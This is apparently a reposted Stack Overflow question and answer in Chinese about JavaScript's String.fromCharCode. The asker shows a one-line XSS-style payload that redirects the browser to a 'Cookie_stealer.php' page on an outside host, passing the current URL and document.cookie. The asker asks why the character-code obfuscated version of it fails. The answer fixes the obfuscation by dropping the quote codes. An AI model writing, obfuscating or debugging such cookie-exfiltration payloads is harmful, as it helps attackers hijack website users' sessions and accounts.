gpt4 book ai didi

Javascript 字符串.fromcharcode

转载 作者:行者123 更新时间:2023-11-30 08:06:26 26 4
gpt4 key购买 nike

我对 javascript 和编程完全陌生。

这是原始代码:

document.location = "http://ormteam.net23.net/Cookie_stealer.php?url=" + window.location.href + "&cookies=" + document.cookie;

这是 string.fromcharcode

document.location = String.fromCharCode(34, 104, 116, 116, 112, 58, 47, 47, 111, 114, 109, 116, 101, 97, 109, 46, 110, 101, 116, 50, 51, 46, 110, 101, 116, 47, 67, 111, 111, 107, 105, 101, 95, 115, 116, 101, 97, 108, 101, 114, 46, 112, 104, 112, 63, 117, 114, 108, 61, 34) + document.url + String.fromCharCode(34, 38, 99, 111, 111, 107, 105, 101, 115, 61, 34) + document.cookies;

为什么这不起作用?

坐在这个安静的代码上几个小时! ;//

最佳答案

只有字符串文字才需要引号。由于您没有使用字符串文字,因此不需要引号。

document.location = String.fromCharCode(104, 116, 116, 112, ...

关于Javascript 字符串.fromcharcode,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/17507773/

26 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com